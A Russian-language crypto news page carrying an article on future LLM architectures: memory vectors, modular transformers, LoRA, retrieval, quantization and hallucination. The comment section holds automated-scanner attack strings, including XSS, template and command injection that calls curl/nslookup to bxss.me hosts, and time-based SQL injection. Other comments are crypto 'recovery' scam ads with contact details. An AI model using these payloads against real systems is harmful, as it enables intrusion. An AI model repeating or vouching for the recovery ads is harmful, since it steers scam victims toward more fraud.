Русский
EnglishCryptocurrencies:
9512 /
Markets: 114689
Market Cap: $ 3 787 132 962 593 /
24h Vol: $ 200 392 171 953 /
BTC
Dominance: 58.653467328398%
Новости
Будущее трансформеров: от громоздких моделей к персональным обучаемым агентам
Современные большие языковые модели (LLM) достигли впечатляющих результатов, но остаются громоздкими и статичными. Они требуют огромных вычислительных ресурсов и не умеют самостоятельно запоминать новый опыт в долгосрочной перспективе. В ближайшие годы нас ожидает переход от этих монолитных систем к персональным интеллектуальным агентам – компактным и адаптивным моделям, способным учиться на ходу. Ниже мы рассмотрим ключевые направления развития архитектур LLM, которые открывают путь к таким агентам: долговременная память на основе «mem-векторов», модульные трансформеры, легкое дообучение на местных данных, внешние хранилища знаний с семантическим поиском, новые методы повышения эффективности и запуска на пользовательских устройствах, а также решение проблем конфликтующих знаний и галлюцинаций. Текущие достижения, ограничения и перспективы в этих областях показывают, как сделать ИИ не только больше, но и умнее.
Mem-векторы: долгосрочная память для LLM
Одно из главных ограничений классических трансформеров – отсутствие явной долговременной памяти. Модель оперирует лишь контекстом фиксированной длины и “забывает” все, что выходит за эти пределы. Увеличение окна контекста (как в GPT-3 с 2k токенами) даёт выигрыш, но быстро упирается в квадратичный рост вычислений. Поэтому исследователи разрабатывают подходы, позволяющие моделям запоминать информацию в виде специальных векторов памяти (mem-векторов), которые могут храниться и вызываться по мере необходимости, не перегружая основной контекст.
Архитектура LongMem (2023) предложила разбить процесс на две части: базовый LLM остаётся замороженным и служит энкодером памяти, а рядом обучается отдельная сеть-читатель, которая извлекает и включает сохранённые сведения. При обработке длинного текста LongMem сохраняет кей-векторы и вэлью-векторы внимания из определённых слоёв в банк долговременной памяти. Затем при ответе на новые запросы модель с помощью специальных запросов извлекает из банка релевантные ключевые векторы и «вспоминает» соответствующее содержимое, расширяя свой контекст. Этот подход позволил эффективно использовать до 65 тысяч токенов прошлой информации – на порядок больше, чем у обычных LLM. Иными словами, LongMem научился работать с практически неограниченной историей, не теряя в качестве ответов.
Другие работы идут ещё дальше, сжимая знания в чрезвычайно компактный вид. В недавнем исследовании 2025 года показано, что предварительно обученный LLM можно использовать как декодер, способный восстановить длинный фрагмент текста из одного или нескольких векторов памяти. Специальные [mem]-векторы оптимизируются для каждого документа так, чтобы модель могла по ним реконструировать исходные токены. Это своего рода ультра-сжатие знаний в скрытом пространстве. Экспериментально удалось упаковать до 1568 токенов текста в единичный вектор, добившись при декодировании высокого качества. На графике ниже видно, сколько токенов удаётся «запомнить» разным моделям: например, 1.3-миллиардная LLaMA хранит порядка 384–512 токенов, а более крупная 8-миллиардная модель – уже свыше 1000 токенов.
Рис. 1: Вместимость памяти у моделей разного размера. По оси Y – максимальная длина текста (в токенах), которую модель способна закодировать в один [mem]-вектор с приемлемым качеством восстановления. У более крупных LLM объём информации, вмещаемой в вектор, значительно выше (красная звезда – экспериментальный рекорд ~1568 токенов).
Быстрое порождение и использование mem-векторов. Для практической долговременной памяти мало уметь сохранять информацию – нужно делать это эффективно и оперативно. Персональному агенту потребуется специальный энкодер, который в реальном времени превращает новые данные (тексты, диалоги, наблюдения) в векторы памяти. Такой энкодер может быть упрощённой версией самого LLM или отдельной моделью, обученной “свёртывать” входной текст до компактного представления. Подход LongMem, описанный выше, фактически использует сам LLM в роли энкодера скрытых состояний. Альтернативой являются более лёгкие компрессоры: например, метод LLMLingua (2023) последовательно сжимает промпт, достигая 20-кратного уменьшения длины почти без потери качества. В будущем подобные механизмы позволят агенту быстро обновлять свою память при каждом новом опыте – будь то прочитанная статья или разговор с пользователем. Ключевой вызов здесь – баланс между степенью сжатия и точностью восстановления. Тем не менее, тенденция очевидна: хранить знания во внешней памяти значительно эффективнее, чем бесконечно раздувать параметры самой модели.
Модульные трансформеры: разделение знаний и мышления
Помимо внешней памяти, ещё один путь к эволюции LLM – модульность архитектуры. Классический трансформер – монолит: все знания и способности “размазаны” по миллиардам весов, что затрудняет обновление и понимание работы модели. Исследователи предлагают разбивать модель на логические модули, отвечающие за разные аспекты – например, отделить блок, хранящий фактические знания, от блока, выполняющего рассуждение над ними.
Недавняя концепция “Transformer 2.0” именно это и делает: вводится глобальная база знаний, к которой модель обращается через обобщённый механизм кросс-аттенции. По сути, обычный feed-forward слой трансформера переосмысливается как частный случай обращения к внешней памяти. В такой схеме слой внимания извлекает необходимые факты из общего хранилища знаний (наподобие дифференцируемой базы данных), а остальные слои решают, как эти факты использовать для ответа. Теоретически доказано, что стандартный полносвязный слой можно рассматривать как скрытый вызов внутренней “памяти” модели. Если же сделать эту память явной и раздельно обучаемой, мы получим более прозрачную и адаптируемую архитектуру, где можно расширять знания без переобучения ядра рассуждений. Такая модульность приближает ИИ к человеческому принципу: мы приобретаем новые знания (книги, заметки) не перестраивая с нуля мозговые нейронные связи, а пополняя содержание памяти.
Другой пример модульного подхода – смеси экспертов (Mixture-of-Experts). В моделях MoE некоторые слои заменяются на множество «экспертных» подсетей, из которых для каждого входа активируется лишь несколько лучших. Это позволяет увеличить совокупное число параметров (то есть объем знаний) без пропорционального роста вычислений для одного запроса. В контексте персональных агентов, можно вообразить набор модулей-экспертов: личные факты пользователя, мировые энциклопедические знания, навыки по разным доменам. Трансформер-агент мог бы динамически подключать нужный модуль, сохраняя высокую скорость. Первые шаги в эту сторону уже есть – например, работа SnapKV (2024) хранит ключи и значения памяти отдельно для каждого слоя и головы внимания. Хотя в исходном варианте SnapKV столкнулась с высокой задержкой из-за множества операций поиска, усовершенствованная модель M+ (2024) сумела совместно обучить ретривер и язык модели, ускорив поиск по скрытым состояниям. В результате долгосрочное удержание знаний возросло с 20 тыс. до 160 тыс. токенов без увеличения потребления памяти GPU – впечатляющий пример масштабируемости модульной памяти. Такие работы показывают, как разделение модели на компоненты (память, эксперты, решатель) повышает её гибкость и долголетие знаний.
Персонализация без полного переобучения
Чтобы персональный ИИ-агент действительно был персональным, он должен адаптироваться под пользователя – обучаться на локальных данных, учитывать стиль и предпочтения, обновлять знания о новой информации. Однако полное дообучение LLM на каждом новом датасете невозможно: миллиарды параметров требуют слишком много ресурсов и времени, кроме того, есть риск забывания старого при обучении новому (катастрофическая забывчивость). Решение пришло в виде техник Parameter-Efficient Fine-Tuning (PEFT) – параметро-эффективного дообучения, где обновляется лишь малая часть весов или добавляются небольшие модули.
Одной из популярных техник стала LoRA (Low-Rank Adaptation) – низкоранговая адаптация. Вместо того, чтобы менять полноценную матрицу весов в каждом слое трансформера, LoRA вставляет к ней небольшое дополнение, представляющееся в виде произведения двух тонких матриц. Базовые веса $W$ остаются неизменны, а обучаются только дополнительные матрицы $A$ и $B$, так что эффективная весовая матрица становится $W + \alpha \cdot A B$. Число новых параметров при этом ничтожно мало – часто порядка 1% от исходных. Например, добавив через LoRA всего ~1% параметров, можно адаптировать большую модель под новую задачу практически без потери качества относительно полного fine-tuning. Важно, что оригинальные знания модели при этом сохраняются – мы не “переписываем” старые веса, а накладываем на них небольшую поправку. Благодаря этому снижается риск забыть ранее выученные факты при обучении на новых данных.
Другой подход – вставка обучаемых адаптеров (Adapters) в каждый блок трансформера. Адаптер – это небольшой дополнительный слой, который обучается на новых данных, в то время как основной блок замораживается. По сути, адаптеры превращают монолитную сеть в модульную: для каждой новой задачи или датасета можно обучить свой набор мини-слоёв и подключать их при необходимости. Схожим образом работают методы prefix-tuning и prompt-tuning, где не изменяются веса модели, а подбираются специальные виртуальные токены-промпты, направляющие модель. Все эти техники делают обновление LLM гораздо более доступным – по оценкам, LoRA-адаптация 7-миллиардной модели требует в десятки раз меньше ресурсов, чем классическое дообучение. Более того, комбинация этих методов с квантованием (см. следующий раздел) позволила исследователям тонко настроить даже 65-миллиардный LLaMA всего на одной GPU 48 ГБ без потери качества. Появляются и удобные инструменты: библиотека PEFT для PyTorch, поддержка LoRA в Hugging Face Transformers, интеграция в TensorFlow и др. – всё это позволяет разработчикам применять PEFT буквально в несколько строк кода.
Для персонального агента такие средства означают, что он может обучаться на ваших данных локально, не отправляя их в облако. Например, загрузив базовую модель, пользователь способен на своем компьютере дообучить небольшой адаптер на переписке или заметках – и агент начнёт говорить в свойственном пользователю стиле, зная при этом только то, чему его научили (важно для приватности). Причём, поскольку исходные веса не изменяются, можно держать несколько разных адаптаций и по ситуации переключаться между ними. Так, одна и та же LLM с разными LoRA-надстройками может выступать как эксперт по программированию, как личный помощник по расписанию или как рассказчик – достаточно менять подключаемый модуль, не дублируя всю модель. Персонализация выходит на новый уровень гибкости: обновляя доли процента параметров, агент впитывает новые знания или черты, оставаясь тем же универсальным интеллектом.
Однако важно помнить о границах таких методов. Хотя они значительно уменьшают затраты, адаптация очень больших моделей даже с PEFT всё ещё не тривиальна для обычного пользователя. Кроме того, бесконтрольное добавление новых фактов через fine-tuning может привести к увеличению галлюцинаций – об этой проблеме мы поговорим в финальном разделе. В целом же параметро-эффективные техники – мощный инструмент, делающий обучение ИИ более инкрементальным и непрерывным, что особенно ценно для персональных агентов.
Семантическая память: ключ-значение и поиск знаний
Другой краеугольный камень будущих агентов – умение работать с внешней базой знаний через механизм поиска. Вместо хранения всех фактов в параметрах модели, агент может искать нужную информацию в хранилище – похожим образом, как мы сами пользуемся поиском в интернете или справочнике. В области LLM такой подход получил название Retrieval-Augmented Generation (RAG) – генерация с дополнением через поиск. Идея RAG в том, что перед формированием ответа модель делает запрос к внешнему источнику (например, базе документов или векторному индексу) и получает оттуда релевантные сведения, которые добавляются к входному промпту. Модель остаётся неизменной, все обновления происходят только во внешней базе – то есть знания “отвязываются” от весов модели.
Преимущества такого подхода очевидны. Во-первых, агент всегда может быть в курсе последних данных: достаточно добавить новые документы в базу знаний, и ответы тут же начнут их отражать. Не нужно заново тренировать модель при каждом обновлении информации – достаточно обновить индекс. Во-вторых, RAG часто даёт более точные результаты на фактических вопросах, чем даже дообучение модели на том же материале. Модель опирается на большой внешний корпус текстов, который можно сделать сколь угодно обширным (миллионы документов) без роста размера самой модели. Исследования показывают, что объединение LLM с поиском позволяет лучше воспроизводить редкие факты и уменьшает галлюцинации за счёт подкрепления ответа найденными источниками. По сути, RAG превращает языковую модель в поискового агента, синтезирующего ответ на основе актуальных данных.
Сегодня уже есть богатый набор инструментов для такой семантической памяти. Существуют продвинутые векторные базы данных – например, FAISS, Milvus, ElasticSearch, Qdrant и др. – которые позволяют быстро искать похожие векторы среди миллионов записей. Обычно конвейер RAG выглядит так: исходный запрос преобразуется энкодером (например, SentenceTransformer) в embedding; затем выполняется поисковый запрос по базе, возвращающий топ-N ближайших документов; эти документы прикрепляются к запросу и отправляются в генеративную модель. Такой подход уже применяется на практике, например, в поддержке клиентов (чатбот ищет по базе знаний компании) или в поисковых системах (как Bing Chat, которое комбинирует поиск по вебу с GPT).
Важно подчеркнуть, что семантический поиск по памяти не ограничивается текстом. Персональный агент может хранить различную информацию: структурированные данные, логи действий, профили пользователей. Ключ-значение хранилище способно содержать не только документы, но и, скажем, векторы состояний – снимки внутреннего мышления агента, которые потом можно восстанавливать для контекста. Уже сейчас обсуждаются специализированные системы управления памятью для агентов, которые будут работать как своеобразная база данных знаний, опыта и контекста, накопленного ИИ. В частности, в опросе экспертов (2024) по архитектурам персональных LLM-агентов отмечается необходимость в менеджерах памяти с векторными базами для хранения долгосрочного «опыта» агента.
Конечно, RAG и подобные методы не лишены недостатков. Они повышают сложность системы: помимо модели, нужно поддерживать ещё и быстрый поисковый движок, синхронизировать обновления, следить за качеством данных в индексе. Добавляются задержки – каждый запрос требует времени на поиск, что может быть ощутимо при больших базах. Тем не менее, инженеры активно оптимизируют этот процесс, используя асинхронный поиск, кеширование результатов и т.д.. В перспективе, выигрыш от актуальности знаний и экономии ресурсов на обучение перевешивает эти сложности. Персональный агент с внешней памятью сможет обладать куда большим объемом актуальных знаний, чем любой закрытый в своих весах LLM. Его «память» легко расширяется – добавлением новых данных, и легко чистится – удалением или исправлением устаревших фактов, что критически важно для достоверности.
Эффективность и запуск на устройствах пользователя
Чтобы технологии, описанные выше, стали по-настоящему массовыми, модели должны стать более компактными и быстрыми. Будущий персональный ассистент, вероятно, будет работать прямо на вашем ноутбуке или смартфоне, а не на удалённом сервере. Это требует огромной работы по оптимизации LLM – уменьшения размеров, ускорения вывода и снижения потребления ресурсов без потери возможностей.
Одно из ключевых направлений здесь – квантизация весов моделей. Путём снижения разрядности представления чисел (с 16-битных до 8-, 4- или даже 2-битных) можно радикально сократить объём памяти, занимаемый моделью. Например, популярная 7-миллиардная модель LLaMA-2 в 4-битном формате занимает всего ~4 ГБ и может выполняться на офисном ПК без специализированной видеокарты. Появились библиотеки (вроде bitsandbytes), позволяющие загружать модели напрямую в сжатом формате. Исследование от Meta AI (QLoRA, 2023) показало, что 4-битная версия 65B модели при правильном подходе к обучению достигает качества полноразрядной. Это означает, что даже очень большие LLM становятся доступными для запуска на одной высокопроизводительной видеокарте, а более мелкие – и вовсе на CPU мобильного устройства.
Другой подход – знаниеная дистилляция и облегчённые модели. Здесь большую модель-«учителя» используют для обучения меньшей модели-«ученика», которая приближается по качеству, но намного экономичнее. Так появились, к примеру, сжатые варианты GPT-2 и GPT-3, облегченые трансформеры для мобильных. Прогресс в этой области пока не полностью сохраняет все способности оригиналов, но базовые навыки понимания и генерации удаётся перенести. Вероятно, комбинация методов (дистилляция + квантизация + оптимизированная архитектура) позволит получить лёгких персональных агентов, конкурирующих с «гигантами» в полезности.
Оптимизация архитектуры тоже играет роль. Исследуются альтернативы классическому самовниманию (self-attention), которые масштабируются лучше на длинных последовательностях – от методов приближенного внимания (как в Longformer, BigBird) до возвращения рекуррентных сетей в связке с трансформерами. Например, модель RWKV пытается объединить лучшие черты RNN и трансформера для снижения вычислительных затрат. Кроме того, асинхронные и потоковые режимы позволяют агенту обновлять ответы по мере считывания ввода, вместо разовой обработки всего запроса – это снижает задержку и требования к памяти.
Отдельно стоит упомянуть выгоду модульности и внешней памяти для эффективности. Если часть знаний хранится вне модели, саму модель можно сделать меньше, поручив детализацию фактов внешнему поиску. Персональный агент может иметь относительно небольшое «ядро» (скажем, 6–10 млрд параметров), но при этом подключаться к огромной базе знаний по запросу. Это напоминает, как человек с обычной памятью компенсирует ее, пользуясь библиотеками и интернетом. Такой гибридный подход потенционо даёт лучшее из двух миров: модель, достаточно лёгкую для локального запуска, и фактическую базу знаний, масштабируемую облачно или распределённо.
Наконец, запуск на пользовательских устройствах – это не только удобство, но и приватность. Все вычисления и данные остаются на вашей стороне, что соответствует тренду на защиту персональных данных. Уже сегодня существуют проекты и библиотеки (например, Llama.cpp), позволяющие запускать LLM локально даже на смартфонах. Конечно, пока что это упрощённые сценарии, но техника развивается стремительно. Можно ожидать, что через несколько лет флагманский телефон или ноутбук сможет в реальном времени выполнять персонального ассистента с моделью, эквивалентной нынешним GPT-3, а то и GPT-4, особенно если учесть прогресс в специализированном «AI-аппаратном обеспечении» (нейронные чипы, ускорители).
В итоге, эффективность – ключ к персонализации. Только сделав модели компактными и быстрыми, мы сможем интегрировать их повсюду – от бытовых устройств до автомобилей – и дать каждому пользователя собственного мощного ИИ-помощника.
Рис. 2: Концепция персонального ИИ на вашем устройстве. Будущие оптимизации позволят запускать большие языковые модели локально – прямо на ноутбуках и смартфонах, сохраняя приватность данных и снижая задержки.
Конфликт знаний и галлюцинации: вызовы большого мозга
По мере того как у модели растёт объём памяти и разнообразие источников знаний, возникает новая проблема – конфликтующие сведения и галлюцинации. Если агент черпает информацию из разных мест (веса основной модели, внешняя база, пользовательские заметки и пр.), велика вероятность, что эти данные могут противоречить друг другу. Например, встроенные знания LLM могут устареть и расходиться с более свежей информацией во внешней памяти – это называется конфликт «контекст vs. память». Возможен конфликт между разными фрагментами контекста (например, два документа в памяти дают разные ответы на вопрос) или внутренний конфликт в памяти (когда сама модель в ходе обучения вобрала противоречивые сведения). Исследования указывают, что такие конфликты подрывают доверие к ответам ИИ и могут привести к некорректным результатам. Агент в сущности может запутаться, какому знанию верить.
Разрешение конфликтов знаний – непростая задача, над которой сейчас активно работают. Один подход – явное указание приоритетов: например, свежая информация из памяти должна превосходить по весу старые параметрические знания модели, или наоборот, модель может «не доверять» непроверенным источникам. Другой подход – добавление в контекст метаданных (источников, временных меток) и использование методов логического вывода для согласования фактов. Возможны гибриды с символическими системами или knowledge graph, которые будут выступать арбитрами, проверяя ответы на непротиворечивость известным фактам. Пока это отрытая проблема, но сама её постановка говорит о взрослении LLM: модель перестаёт быть тупым статистическим предсказателем и приближается к управляющей своей памятью системе.
Галлюцинации – явление, когда модель уверенно придумывает несуществующие факты – тоже могут обостриться с увеличением памяти. Казалось бы, наоборот: больше знаний – меньше пробелов, где ИИ может додумать от себя. Однако на практике, если механизм извлечения памяти не совершенен, модель может получить нерелевантный или частичный контекст и на этой почве «додумать» остальное. Либо, столкнувшись с конфликтующими сведениями, она может сгенерировать смесь, не соответствующую ни одному из источников. Интересно, что даже попытки дообучить модель на новых фактах могут приводить к росту галлюцинаций – видимо, из-за нарушения изначального баланса знания и языковых шаблонов. Поэтому исследователи ищут способы контролировать достоверность генерации. RAG-подход частично решает проблему, так как модель опирается на конкретные документы – это снижает вероятность вымысла. Также помогают методы пост-верификации: генерация нескольких вариантов ответа и выбор консенсусного, дополнительная проверка фактов через поиск, или даже запуск второго «критического» модели для оценки правдивости первого.
В будущем персональные агенты, вероятно, будут сочетать несколько уровней проверки знаний. Можно представить себе систему, где основной LLM делает черновой ответ, затем обращается к своей же базе знаний для подтверждения каждого утверждения, исправляя себя при расхождениях. Кроме того, поддержание консистентности знаний станет отдельной задачей: агенты должны уметь забывать или помечать устаревшую информацию, чтобы не учитывать её при принятии решений. Идеи из теории баз данных (например, механизм TTL – time to live для фактов, или версионность знаний) могут найти применение и в нейронных системах памяти.
Подводя итог, проблема галлюцинаций и конфликтов – это издержки роста возможностей. Больший «мозг» нуждается в лучшей саморегуляции. По мере того, как архитектуры LLM станут сложнее и приобретут память, им понадобится и модуль «здорового скептицизма» – умение сомневаться, перепроверять и придерживаться логики. Решение этих вопросов критически важно для доверия к персональным ИИ. Радует, что сообщество осознаёт эту задачу: появляются обзоры и классификации видов конфликтов знаний, предлагаются подходы к их смягчению. Вероятно, в ближайшие годы мы увидим прогресс и в этой области, делающий агентов более надёжными собеседниками.
Заключение: от больших моделей к умным агентам
Мы рассмотрели ряд технологий, формирующих облик будущих трансформеров и LLM-агентов. Каждое направление – память, модульность, персонализация, внешние знания, эффективность – по-своему уменьшает разрыв между нынешними моделями и желаемыми персональными ассистентами. Вместо единого громоздкого «разума в коробке» вырисовывается образ живого, обучающегося ИИ, который:
Запоминает долгосрочно – важные сведения сохраняются в его векторной памяти, доступной при необходимости.
Учится локально – новые навыки и факты добавляются через небольшие дообучаемые модули, без перестройки всего мозга.
Черпает знания извне – встроен механизм поиска по собственной базе знаний или интернету, чтобы всегда иметь актуальную информацию.
Работает повсюду – достаточно лёгок для запуска на пользовательских устройствах, автономен и приватен.
Остаётся последовательным и правдивым – умеет соотносить новые данные со старыми, избегать логических противоречий и предупреждать собственные ошибки.
Персональные агенты, вооружённые такими возможностями, обещают стать революцией в повседневной жизни. Они превзойдут нынешних голосовых помощников так же, как современные LLM превзошли простые чат-боты прошлого десятилетия. Конечно, многое ещё предстоит исследовать и отладить. Но вектор задан чётко: будущее ИИ – не в бесконечном наращивании параметров, а в умном сочетании моделей с памятью и обучением. Как метко заметил один из исследователей, «будущее ИИ – это не просто более крупные модели, а более умная и эффективная память». Каждый пользователь заслуживает ИИ, который помнит и понимает его. И судя по прогрессу, техническая основа для этого сейчас быстро складывается – шаг за шагом, проект за проектом. Будущее трансформеров действительно преобразится, и на смену громоздким моделям придут личные агенты, расширяющие возможности каждого из нас.
-
09.10.25 08:09
pHqghUme
can I ask you a question please?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
can I ask you a question please?
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
11.10.25 04:41
luciajessy3
Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
-
11.10.25 10:44
Tonerdomark
A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
-
12.10.25 01:12
harristhomas7376
